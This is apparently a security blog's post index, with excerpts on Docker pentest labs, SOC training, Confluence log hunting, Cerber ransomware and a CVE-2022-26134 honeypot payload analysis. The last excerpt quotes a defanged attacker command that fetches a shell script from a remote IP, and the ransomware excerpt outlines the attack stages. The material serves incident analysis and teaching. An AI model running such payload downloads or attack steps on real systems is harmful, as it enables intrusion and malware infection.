Creating a tracker and dashboard for Cyber Essentials

I was talking to a friend about a requirement to “measure” cyber essentials compliance. Now if you know a thing or two about standards and applying standards to complex technology environments you might come up with:

Can’t we just script a checker?
Don’t we have all the audit data in the *checks notes* 1000 inventory systems we have?

Well sure, you could write a massive set of rules which ignore any context and try and cater for a huge number of different scenarios. You could use the Q&A approach as well (which is how the standard workbook works anyway so that already exists). But let’s say you are an IT manager, and you want to KNOW how your environment stacks up!

The question is simple, it’s easy to ask, look:

“How compliant are we against Cyber Essentials?”

Education

Deploy a mini Pentester Lab with Docker

I build VM labs. Lots of them, but I tend to go full machines. I was checking out the new TCM web app course the other day (honestly i’ll write a review if I get time to finish it!) and it’s built around using docker for DVWA and OWASP JUICE SHOP so I figured I should write a quick blog about how to deploy these so people can get started learning in minutes.

Now here we have:

DVWA
JUICESHOP
METASPLOITABLE

but you don’t have to stop there, i’m sure there’s others you can use as well!

This isn’t an exhaustive guide, but it will get the docker instances up and running.

Guides

Testing Risky Egress Ports

Have you ever wanted to run a quick test of egress ports from userland from a windows machine?

Well worry not, I didn’t even have to write anything, the nice people at Black Hills security have done it for us. However I did decide that there’s a few other things we might want to do, so I made a quick modification, now we have colours, randomisation and some sleeps.

Education

Learn to SOC: Cryptominer Analysis

I’m totally in the middle of doing some work but this alert just came in so I have quickly dumped the data:

This came in via a Confluence exploit (not sure which CVE yet). I’ve not got time to analyse but thought I’d share this as an educational excercise for people! It’s a good excercise to see the apache tomcat logs and then decode, obtain samples and analyse the activity/imapct (as well as yoink IOCs etc.)

Education

Installing Nessus Pro on Kali Linux

You can deploy Nessus in a range of ways, from direct install through to using a cloud-based deployment or virtual appliance.

A common reason for deploying on Kali or other distro rather than using the virtual appliance is for mobility, ease of use but also you might want to VPN or proxy traffic.

The install process is simple, log into your account on tenable community portal and download the relevant installation package.

Guides

Searching Confluence Logs with PowerShell

Work in progress post

Ok so i posted a snipped of PowerShell on LinkedIn for hunting the confluence logs using a pattern match for ${ (after we have URL decoded (twice). This is just an example of how to parse log files using PS1 so it’s clearly very basic but i wanted to give people an idea of what we do when we “GREP” the logs:

Education

Learn to be a SOC Analyst – Confluence and…

The guidance here is also useful with a post on parsing Confluence logs for an RCE using OGNL injection.

Warning – CERBER RANSOMWARE

The contents of this blog if executed could get you ransomwared so maybe be careful (I’ll de-fang some bits so if you are having issues following along fix the fangs, plus the payloads will get taken down)

To support a high levle view here is the rough stages that would occur in a successful deployment by a threat actor against a vulnerable target:

Recon

Find servers with Confluence that aren’t patched.

Send Log4J Exploit with Stage0 payload

Text

Description automatically generated with medium confidence

Guides

Defending against Denial of Service (DoS) Attacks

What is a DoS Attack?

According to NIST, a denial of service (DoS) is:

“The prevention of authorized access to resources or the delaying of time-critical operations. (Time-critical may be milliseconds or it may be hours, depending upon the service provided).”

denial of service (DoS) – Glossary | CSRC (nist.gov)

a distributed denial of service (DDoS) is:

“A denial of service technique that uses numerous hosts to perform the attack.”

distributed denial of service (DDoS) – Glossary | CSRC (nist.gov)

Guides

Useful Security News Sites and Blogs

The Latest News

If you want to keep up with the world of cyber security the fastest place is twitter, however that’s not the only place and whilst tweetdeck and twitter itself are incredible useful, you also are going to want to check out other areas. Inspired by a friend’s tool I thought I’d just knock up a list of sites that have useful cyber security information on:

Education

CVE-2022-26134 – Honeypot Payload Analysis Example

Threat actors are deploying a range of payloads to try and leverage vulnerable confluence servers around the globe. This just dropped into one of the pots:

HTTP Command Executes this:

curl http[:]//202.28.229.174/ap[.]sh?confcurl

This download the following (ap.sh)

$stealz = wget -Uri http[:]//202.28.229[.]174/ap[.]sh?confcurl -UseBasicParsing

$stealz.Content | Out-File ap.txt